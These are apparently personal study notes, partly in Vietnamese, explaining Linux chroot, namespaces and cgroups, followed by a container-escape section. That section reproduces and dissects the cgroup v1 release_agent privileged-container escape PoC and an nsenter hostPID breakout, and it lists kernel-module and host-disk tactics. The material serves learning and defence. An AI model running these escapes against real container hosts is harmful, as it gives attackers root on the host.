---
# System prepended metadata

title: Docker Escape

---

# Understanding Root/Chroot, Cgroups and Namespaces in Linux
## 1. Root và Chroot là gì?
- Trong các hệ thống OS dựa trên Unix, root directory là nơi sẽ chứa toàn bộ dữ liệu về file systems. 
- Tuy nhiên, mỗi process sẽ có 1 root directory khác nhau nhờ vào system call `chroot()`. Chúng ta có thể có một root directory khác để có thể tạo một môi trường riêng để chạy, giúp việc chạy và debug các process trở nên dễ dàng hơn. Hoặc cũng có thể sử dụng các legacy dependencies, libraries cho tiến trình.
> `chroot` thay đổi root directory cho tiến trình hiện tại và con của nó

- Chúng ta nghĩ rằng việc sử dụng `chroot` đã bảo được sự bảo mật bằng cách hạn chế các tiến trình truy cập tài nguyên ra ngoài môi trường của nó. Tuy nhiên, thực tế lại không như vậy. `chroot()` chỉ thay đổi pathname lookup cho process hiện tại và con của nó. 
    - Ví dụ: container's root mount thường được đặt ở trong 1 container-specialized filesystem, ví dụ OverlayFS `/var/lib/docker/overlay2/..hash../diff`
    ![image](https://hackmd.io/_uploads/H141qM9eeg.png)
    ![image](https://hackmd.io/_uploads/rJDTtMcxle.png)
- có 1 số cách để bypass chroot jail: 
    - Bypass bằng `chdir("..")` và `chroot(".")`: https://blog.pentesteracademy.com/privilege-escalation-breaking-out-of-chroot-jail-927a08df5c28

Refs: https://dev.to/pemcconnell/docker-overlayfs-network-namespaces-docker-bridge-and-dns-52jo#:~:text=Docker%20uses%20the%20OverlayFS%20file,top%20of%20the%20base%20image.

## 2. Namespaces là gì?
Namespaces là 1 tính năng rất mạnh mẽ khác của Linux kernel cung cấp sự cô lập bằng cách hạn chế những tài nguyên mà 1 nhóm các tiến trình có thể nhìn thấy và truy cập. Bằng cách sử dụng các namespace, containers có thể duy trì sự cô lập trên tài nguyên hệ thống như network interfaces, file systems, process IDs (PIDs), khiến mỗi container như đang chạy trên 1 hệ thống riêng biệt vậy.

### Các loại namespaces trong Linux
![image](https://hackmd.io/_uploads/H1mfO1qglx.png)
- PID namespace: cô lập PIDs, cho phép các tiến trình trong các container khác nhau có PIDs khác nhau. 
<!-- ![image](https://hackmd.io/_uploads/Bkv9F19xxx.png)
![image](https://hackmd.io/_uploads/H1ooYJ9xxx.png) -->
- Network namespace: cô lập network interfaces, IP addresses, routing tables và port number
- Mount namespace: cô lập mount points, cho mỗi container có 1 filesystem riêng, do đó ngăn ngừa sự can thiệp lẫn nhau.
- UTS namespace (UNIX Time-Sharing System): cô lập các định danh hệ thống như hostname, domain name, cho phép mỗi container có 1 hostname riêng.
- IPC namespace (Inter-process Communication): cô lập các tài nguyên IPC như là hàng đợi tin nhắn hay bộ nhớ được chia sẻ.
- User namespace: cho phép mỗi process có hệ thống user, group khác nhau trong 1 container, nâng cao khả năng bảo mật.
- cgroup namespace: được ra mắt ở Linux 4.6, cô lập inter-process communication resources, nâng cao bảo mật bằng cách che giấu các ràng buộc tài nguyên từ các tiến trình trong các namespace khác nhau.

--- 
Ví dụ: để tạo linux namespace thì rất đơn giản, dùng lệnh `unshare`.
- Ví dụ 1: tạo network namespace riêng, nơi sẽ có các ip, network interface độc lập với cả host
![image](https://hackmd.io/_uploads/SJv2K5sglx.png)
- Ví dụ 2: tạo pid namespace riêng, các pid sẽ khác hoàn toàn với host, như 1 máy tính riêng biệt (`--fork` và `--mount-proc` là 2 suggestion khi tạo pid namespace. Lệnh `man unshare` để đọc thêm)
![image](https://hackmd.io/_uploads/BksUc5iegx.png)



## 3. Cgroups là gì?
Chúng ta có thể tạo đã có thể cô lập 1 nhóm các tiến trình với namespace, tuy nhiên, nếu chúng ta tạo nhiều namespace thì làm sao giới hạn được tài nguyên mà nó có thể sử dụng, và không chiếm mất tài nguyên của các namespace khác?

Control Groups hay cgroups là tính năng trong Linux kernel cho phép admin phân bổ và hạn chế tài nguyên như CPU, memory, và các I/O của các tiến trình. Bằng cách tổ chức các tiến trình thành các nhóm phân cấp, cgroups cho phép kiểm soát chi tiết về số lượng tài nguyên mà 1 tiến trình hoặc 1 nhóm tiến trình có thể sử dụng. 

Các tính năng chính của cgroups:
- Resource Limitation: cgroups cho phép admin xác định giới hạn CPU, memory, disk I/O, và các tài nguyên khác, đảm bảo không có tiến trình hoặc container nào có thể vượt quá tài nguyên được đã được phân bổ.
- Resource Prioritization: Các tiến trình hoặc container khác nhau có thể được chỉ định mức độ ưu tiên tài nguyên khác nhau, cho phép các ứng dụng quan trọng nhận được nhiều thời gian xử lý hơn các ứng dụng khác.
- Resource Isolation: cgroups sẽ cô lập việc sử dụng tài nguyên, khiến chúng không ảnh hưởng đến hiệu suất của các tiến trình hoặc container khác, ngay cả khi trên cùng 1 host.
- Monitoring and Accounting: cgroups cho phép theo dõi tài nguyên sử dụng, giúp admin giám sát hiệu suất và tiêu thụ giữa các groups.
- Process Freezing and Thawing: Bạn có thể tạm dừng (freeze - suspend) và tiếp tục (resume - thaw) các tiến trình trong 1 cgroup, hữu ích cho việc quản lý các công việc tốn tài nguyên. 
---
Ví dụ: Muốn tạo và quản lý các cgroup, ta cần cài `cgroup-tools`.
```
sudo apt-get install cgroup-tools
```
Các cgroup sẽ được quản lý ở `/sys/fs/cgroup`
![image](https://hackmd.io/_uploads/HkS4n9sxel.png)

Tạo cgroup để quản lý memory, dùng `cgcreate` chạy lệnh sau:
```
sudo cgcreate -g memory:my-process (đối với cgroupv1)
```

Với cgroupv2 thì chỉ cần tạo folder trong `/sys/fs/cgroup` là Linux sẽ tự thêm các file cần thiết vào trong đó
![image](https://hackmd.io/_uploads/B1lDUI1Wex.png)

Giờ mình sẽ tạo 1 chương trình C, trong đó có vòng lặp chạy 50 lần, mỗi lần sẽ allocate 1MB. Khi đó, mình sẽ thử đưa chương trình vào cgroup để test chức năng limit memory của cgroup. 

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define ALLOC_SIZE 1024 * 1024  // 1MB

int main() {
    char *ptrs[50];
    for (int i = 0; i < 50; i++) {
        ptrs[i] = malloc(ALLOC_SIZE);
        if (ptrs[i] == NULL) {
            printf("Allocation failed at %d MB\n", i);
            return 1;
        }
        memset(ptrs[i], 0, ALLOC_SIZE);  // ensure memory is really used
        printf("Allocated %d MB\n", (i + 1));
        sleep(1);
    }
    return 0;
}
```

Khi chưa setup cgroup, chương trình sẽ gán đủ 50MB.
![image](https://hackmd.io/_uploads/r1jTDUyZxg.png)

Mình sẽ setup cgroup với đoạn bash script này:
```bash=
#!/bin/bash
set -e

CGROUP_PATH="/sys/fs/cgroup/my-process"

SUBTREE_CONTROL="/sys/fs/cgroup/cgroup.subtree_control"
if ! grep -q "+memory" "$SUBTREE_CONTROL"; then
    echo "+memory" > "$SUBTREE_CONTROL"
    echo "✅ Bật controller memory"
fi

mkdir -p "$CGROUP_PATH"
echo $((2*1024*1024)) > "$CGROUP_PATH/memory.max"
echo 0 > "$CGROUP_PATH/memory.swap.max"
echo "✅ Đặt memory.max = 2MB và tắt swap"

# Thêm shell hiện tại vào CGroup
echo $$ > "$CGROUP_PATH/cgroup.procs"
echo "✅ Di chuyển shell vào CGroup $CGROUP_PATH"

echo "🚀 Chạy ./alloc với giới hạn 2MB..."
exec ./alloc
```

![image](https://hackmd.io/_uploads/Hkc2uUJble.png)
Khi chưa gán đến MB thứ 2, zsh đã kill chương trình luôn rồi.

### Subsystems (Controllers) trong Cgroups
cgroups hoạt động thông qua các controllers, mỗi cái sẽ quản lý 1 tài nguyên riêng biệt:
- cpu: kiểm soát quyền truy cập và giới hạn CPU
- memory: giới hạn bộ nhớ sử dụng và quản lý việc thu hổi bộ nhớ (swap)
- blkio: điều chỉnh băng thông của I/O
- cpuset: liên kết các tiến trình tới CPU và memory nodes
- devices: hạn chế quyền truy cập vào thiết bị
- freezer: đình chỉ hoặc tiếp tục thực hiện các tiến trình

> These controllers ensure processes remain within their resource boundaries, preventing any single process from starving others of necessary resources.

## Đọc thêm
### The Role of Cgroups and Namespaces in Containerization
Cgroups for Resource Management: Cgroups ensure that containers cannot exceed their allocated resources, preventing a single container from monopolizing system resources and degrading performance for others. For instance, Docker containers can have their CPU or memory usage limited, ensuring they do not negatively impact the host or other containers.

Namespaces for Isolation: Namespaces provide essential isolation, making each container feel like it’s running on its own independent system. When Docker creates a container, it establishes separate namespaces for processes, networking, and file systems.
![1_ECxEjDraXw3qbl_g3oiC0g](https://hackmd.io/_uploads/HkS60yqxll.png)

Example: Docker and Kubernetes

- Docker: When running a Docker container, it creates a unique set of namespaces and cgroups, allowing multiple containers to run on the same host while remaining isolated.
- Kubernetes: At a higher level, Kubernetes uses pods to group containers. Each pod employs cgroups to manage resource usage and namespaces to isolate processes and resources, ensuring efficient resource distribution across nodes by leveraging cgroups to enforce quotas and limits.

Together, cgroups and namespaces form the foundational infrastructure that enables containerization. While namespaces handle isolation — ensuring containers don’t interfere with each other or the host — cgroups manage resource allocation, ensuring containers receive necessary resources without overconsumption.

Key Reasons for Their Importance:

- Lightweight Virtualization: They provide process-level isolation without needing separate OS kernels, unlike virtual machines.
- Efficiency: Cgroups allow precise resource allocation, enabling many containers to run on a single host without concerns about resource starvation.
- Security and Isolation: Namespaces ensure containers are isolated from each other and the host, preventing unauthorized access.
- Scalability: Cgroups enable Kubernetes to efficiently manage resources across clusters, ensuring fair workload distribution.

## References:
- https://readmedium.com/en/https:/medium.com/@ozbillwang/understanding-cgroups-and-namespaces-in-linux-the-foundations-of-containerization-e0e565eb236e
- https://itnext.io/chroot-cgroups-and-namespaces-an-overview-37124d995e3d























# Resource 1
{%preview https://www.cyberark.com/resources/threat-research-blog/the-route-to-root-container-escape-using-kernel-exploitation %}

- tactic 1: abuse capability of root CAP_SYS_MODULE to load module to kernel
- tactic 2: make a new device pointing to the host's hard drive and mount it inside the container
- tactic 3: 


> references:
    - https://github.com/nccgroup/shocker
    - https://docs.docker.com/engine/security/seccomp/
    - https://www.cyberark.com/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host/

https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html

# Attack Vector 3: Escape from privileged container
## Attack Scenario 3.1: Privileged + hostPID

`docker run --rm -it --pid=host --privileged ubuntu bash`
![image](https://hackmd.io/_uploads/HkNYFyWbee.png)

Just move to the namespace of a process running in the host as root
![image](https://hackmd.io/_uploads/S1YtKJ-Zge.png)

`nsenter --target 1 --mount --uts --ipc --net --pid -- bash`

## Abusing cgroupsv1 vulnerability (release_agent)
From a post by [Felix Wilhelm](https://twitter.com/_fel1x) exploit a container that run with `--privileged` option to escape.
Poc from the post:
```
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;printf '#!/bin/sh\nps >'"$t/o" >/c;
chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```

The container that run with `--privileged` flag, achieves by abusing the Linux cgroup v1 "notification on release" feature.

### Requirements to use this technique
In fact, `--privileged` provides far more permissions than need. The only requirements here are:
- Running as root inside the container
- Have `SYS_ADMIN` capability
- Allow `mount` syscall or lack an AppArmor profile
- cgroup v1 virtual filesystem must mount read-write inside the container

### Why `notify_on_release` feature in cgroups v1 can be exploited?
When the last task in a cgroup leaves (by exiting or attaching to another cgroup), a command supplied in the `release_agent` file is executed. The intended use for this is to help prune abandoned cgroups. When invoked, its run as a fully privileged root on the host.

> 1.4 What does notify_on_release do ?
————————————
If the notify_on_release flag is enabled (1) in a cgroup, then whenever the last task in the cgroup leaves (exits or attaches to some other cgroup) and the last child cgroup of that cgroup is removed, then the kernel runs the command specified by the contents of the “release_agent” file in that hierarchy’s root directory, supplying the pathname (relative to the mount point of the cgroup file system) of the abandoned cgroup. This enables automatic removal of abandoned cgroups. The default value of notify_on_release in the root cgroup at system boot is disabled (0). The default value of other cgroups at creation is the current value of their parents’ notify_on_release settings. The default value of a cgroup hierarchy’s release_agent path is empty.
– [Linux Kernel documentation on cgroups v1](https://www.kernel.org/doc/Documentation/cgroup-v1/cgroups.txt)

### Refining the PoC
In this scenario, we just mount the cgroup as read-write ourselves. 
> What will happen?
> Execute a command (here is `ps aux`) on the host and save its output to `/output` file in the container. It uses the same `release_agent` feature as the original PoC to execute on the host.

```
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```

### What are the above commands actually doing?
```
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
```
- create a container that suitable for the exploit
```
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```
- they create a directory named `cgrp` in `/tmp`. Then mount the [RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) cgroup controller and create a child cgroup named `x`. 
![image](https://hackmd.io/_uploads/r1bS8Pm-eg.png)
> Controller in cgroupv1 
> ![image](https://hackmd.io/_uploads/S1bcLPmbxg.png)


```
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
```

- The first line: enable cgroup notifications on "x" cgroup by writing 1 to its `notify_on_release` file.
- The second line: grab the container's path on the host from `/etc/mtab`. Just like on the host, we inspect the container, then find `UpperDir` value
![image](https://hackmd.io/_uploads/S1xtFwXWgx.png)
- The third line: set the RDMA cgroup release agent to execute a `/cmd` script - by writing the `/cmd` path on the host to `release_agent` file

```
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
```

- Just set up the command we want to execute and save its output into `/output` on the container by specifying the full path of the output file on the host -> we can read the output file on the container. 

```
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```
- Finally, we can execute the attack by spawning a process that immediatly ends inside the "x" child cgroup. By creating a `/bin/sh` process and writing its PID to the `cgroup.procs` file in “x” child cgroup directory, the script on the host will execute after /bin/sh exits.

![image](https://hackmd.io/_uploads/HkTTfu7-ex.png)



> Notes: 
> - We can use another controller because others also have release_agent file
> ![image](https://hackmd.io/_uploads/HJsHDDX-eg.png)
> - Im using Ubuntu 20.04 iso image so that the cgroup version is 1
> ![image](https://hackmd.io/_uploads/SJSZ6D7Zel.png)

